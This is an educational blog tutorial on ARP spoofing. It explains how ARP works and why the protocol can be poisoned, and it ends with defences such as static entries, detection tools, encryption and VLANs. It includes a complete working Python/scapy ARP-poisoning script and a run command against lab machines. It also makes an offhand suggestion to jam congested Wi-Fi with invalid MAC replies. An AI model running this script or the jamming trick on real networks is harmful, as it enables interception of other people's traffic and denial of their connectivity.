This content originally appeared on Level Up Coding - Medium and was authored by Mikhail Chuloshnikov
Hi folks!
Today, we’ll talk about a very interesting network vulnerability that allows intercepting traffic and conducting a Man-in-the-Middle (MITM) attack. One fascinating aspect of this vulnerability is that it’s fundamental, based in a low-level network protocol (ARP), as old as time itself, and, for the most part, still hasn’t been properly fixed. Intrigued? Let’s dive in!

Disclaimer
This article is for educational purposes only and aims to enhance your knowledge in the field of information security. Please do not use this knowledge for illegal activities, and always remember: with great power comes great responsibility. Thank you!
ARP Protocol
First, let’s figure out what ARP is, why we need it, and how it works.
If you’re already familiar with the OSI model, you have a general idea of how communication between computer systems in a network works. But just in case, here’s a quick recap: when we connect multiple computers in a network, the data at the physical level is simply electrical signals. Above this layer, there are several software-hardware abstractions, referred to as the OSI model’s layers. This model consists of seven layers, ranging from the lowest (physical) to the highest (application) layer. Each layer has a specific function, and the higher the layer, the further you’re abstracted from dealing with hardware and physical signals.
Most of us are probably accustomed to working with the TCP/IP protocol, which operates at the transport layer. At this level, we deal with IP addresses that are somewhat human-readable and convenient. But remember, IP addresses are just abstractions. When you connect a network card to a PC, it doesn’t have an IP address by default. So how is traffic routed? How does a PC determine, at the physical level, where to send traffic? This is where a lower-level protocol — ARP — comes into play.
ARP (Address Resolution Protocol) is a network protocol used to map IP addresses (logical addresses) to MAC addresses (physical addresses) of devices within a local area network (LAN).
When a device in a network wants to send data to another device, it knows the recipient’s IP address. However, to send data at the data link layer (e.g., Ethernet), it needs the recipient’s MAC address. ARP performs the following steps:
- ARP Request: The device sends a broadcast request to the network asking, “Who has this IP address?”
- ARP Reply: The device with the matching IP address responds with its MAC address.
- Caching: The received MAC address is saved in an ARP table for future use, preventing repeated requests.
The protocol operates only within a single subnet. Routers are used for communication between subnets.
In simple terms, ARP is responsible for resolving IP addresses into MAC addresses.
ARP-Poisoning
Now that we understand how physical address resolution works for data transmission, let’s examine the vulnerability of this protocol. The answer is quite simple: as you may have noticed in the previous section, when a system tries to discover the physical address of a recipient, it sends a broadcast request and waits for a response from the correct device in the network. However, there is no validation of the legitimacy of this response. In other words, ARP is based on implicit trust.
This means that from any device (e.g., a device we want to use to intercept traffic), we can craft a specially prepared ARP packet containing the IP address of the router but with the MAC address of the attacker. This tricks the victim into sending traffic intended for the router to the attacker instead. Similarly, we can send a forged ARP packet with the victim’s IP address and the MAC address of the attacker to the router. This causes the router to send traffic intended for the victim to the attacker.
On a diagram, it looks something like this:
[Victim] [Attacker]
| |
| |
| ARP Request: |
| Who has IP 192.168.1.1? |
|---------------------------------->|
| |
| |
| Fake ARP Reply: |
| IP 192.168.1.1 = MAC Attacker |
|<----------------------------------|
[Router] [Attacker]
| |
| |
| ARP Request: |
| Who has IP 192.168.1.100? |
|---------------------------------->|
| |
| |
| Fake ARP Reply: |
| IP 192.168.1.100 = MAC Attacker |
|<----------------------------------|
That’s it! Now that we’ve covered the theory, let’s move on to practice and validate our topic.
Exploit
Let’s create a small Python script that performs ARP poisoning. This kind of script can be written in almost any programming language, but I chose Python, assuming most of you are familiar with it. If you’re not, don’t worry — you can use any other language you’re comfortable with.
from scapy.all import ARP, send, sendp, sr, Ether, get_if_hwaddr, conf
import sys
import time
# Set the network interface to use
conf.iface = "eth0"
def get_mac(ip):
"""
Resolves the MAC address of a given IP address by sending an ARP request.
If the MAC address cannot be found, exits the program.
"""
ans, _ = sr(ARP(op=1, pdst=ip), timeout=2, verbose=False)
if ans:
return ans[0][1].hwsrc
else:
print(f"[!] Unable to find MAC address for {ip}")
sys.exit(1)
def arp_spoof(target_ip, spoof_ip):
"""
Sends a spoofed ARP packet to the target, claiming the spoof IP is at the attacker's MAC address.
"""
target_mac = get_mac(target_ip) # Get the victim's MAC address
my_mac = get_if_hwaddr(conf.iface) # Get your own MAC address from the active interface
print(f"[+] Using attacker MAC address: {my_mac}")
# Create an Ethernet frame and ARP packet for spoofing
ethernet = Ether(dst=target_mac)
arp = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=my_mac)
packet = ethernet / arp
# Send the spoofed ARP packet
sendp(packet, verbose=False)
print(f"[+] Sent fake ARP packet to target {target_mac}: {spoof_ip} is at {my_mac}")
def restore_arp(target_ip, spoof_ip):
"""
Sends legitimate ARP packets to restore the ARP table of the target, undoing the spoofing.
"""
target_mac = get_mac(target_ip) # Get the MAC address of the target
spoof_mac = get_mac(spoof_ip) # Get the real MAC address of the spoofed IP
# Create a legitimate ARP response
restore_packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac)
send(restore_packet, count=4, verbose=False) # Send the restoration packet multiple times
print(f"[+] Restored ARP table: {spoof_ip} -> {target_mac}")
if __name__ == "__main__":
# Ensure the script is called with the correct arguments
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target IP> <spoof IP>")
sys.exit(1)
target_ip = sys.argv[1] # IP address of the target
spoof_ip = sys.argv[2] # IP address to spoof
try:
print("[*] Starting ARP spoofing. Press Ctrl+C to stop.")
while True:
arp_spoof(target_ip, spoof_ip) # Continuously send spoofed ARP packets
time.sleep(2) # Wait 2 seconds between packets
except KeyboardInterrupt:
print("\n[!] Detected Ctrl+C. Restoring ARP table...")
restore_arp(target_ip, spoof_ip) # Restore the ARP table when exiting
print("[+] ARP table restored. Exiting.")
Great, our script is ready. Now we need to test it. For this purpose, I’ve set up two virtual machines running Ubuntu and connected them to a network:
+---------------+-------------------+---------------------+
| IP Address | MAC Address | Device |
+---------------+-------------------+---------------------+
| 10.211.55.3 | 00:1C:42:78:D3:E8| Attacker |
| 10.211.55.10 | 00:1C:42:DB:A8:2E| Victim |
| 10.211.55.1 | 00:1C:42:00:00:18| Gateway |
+---------------+-------------------+---------------------+
Let’s take a look at the current ARP table cache on the victim’s device:

At the moment, all addresses are correct. Let’s run our script:
sudo python3.8 arp-spoof.py 10.211.55.10 10.211.55.1

As we can see, the script is working successfully and performing ARP poisoning. Let’s check the victim’s ARP table again:

Notice that the MAC address for the gateway’s IP has changed to the attacker’s MAC address. I won’t show the router’s context, but the situation there will be similar. Done! Now all the traffic between the router and the victim will pass through the attacker’s device, where it can be analyzed, saved, and so on.
By the way, the funny thing, using this method, you can block traffic in Wi-Fi networks if they are heavily congested and you don’t have enough bandwidth. Simply send invalid MAC addresses to everyone, the traffic stops, and the channel gets freed up. Of course, I’m not talking about doing this illegally, but rather in situations where it’s relevant for self-protection — for example, to prevent the spread of a virus in the network or a DDoS attack (though it’s unlikely you’ll encounter that in your network).
Methods of Protection
There aren’t many ways to protect against ARP spoofing, and all of them are “manual,” meaning that, in most networks, they are practically absent. However, it’s useful to be aware of them in case you need to implement any of them.
Static ARP Entries — This method is straightforward and involves keeping static entries in the ARP table. The downside is that when a new device is added to the network, the table must be manually updated, which can be inconvenient.
ARP Spoofing Detection Tools — These are tools that analyze network traffic to detect ARP spoofing and related anomalies. This is mainly an administrator’s responsibility, but often administrators don’t focus on it, although it probably should be addressed.
Encryption — This isn’t exactly protection against spoofing itself, but rather encryption of traffic, meaning that even if it is intercepted, it will be useless to the attacker. This is, in essence, the primary and most widespread method today (e.g., HTTPS, VPN, etc.).
Segmentation and VLANs — Physical isolation of networks. This is the most reliable method but also the least commonly used.
Packet Signing — Signing packets to verify their authenticity, typically using IPsec. Another administrator’s responsibility, and most networks lack this setup.
IPv6 — This protocol has a built-in protection mechanism called Secure Neighbor Discovery Protocol (SeND), which uses packet signatures.
In general, as you’ve already understood, there aren’t many protection methods available, and they aren’t widely used or implemented. So, you’re mostly left relying on traffic encryption.
Credits
The complete source code is available on GitHub: https://github.com/white-rabbit-1-sketch/article/tree/main/arp-spoofing
Conclusion
That’s it! We’ve covered the main aspects of the ARP spoofing vulnerability, implemented it in practice, and discussed ways to protect against this attack. I hope it was interesting. Thank you very much for your time, and see you next time!
The Fundamental Vulnerability of Networks: ARP Spoofing was originally published in Level Up Coding on Medium, where people are continuing the conversation by highlighting and responding to this story.
This content originally appeared on Level Up Coding - Medium and was authored by Mikhail Chuloshnikov
Mikhail Chuloshnikov | Sciencx (2025-01-15T16:49:53+00:00) The Fundamental Vulnerability of Networks: ARP Spoofing. Retrieved from https://www.scien.cx/2025/01/15/the-fundamental-vulnerability-of-networks-arp-spoofing/
Please log in to upload a file.
There are no updates yet.
Click the Upload button above to add an update.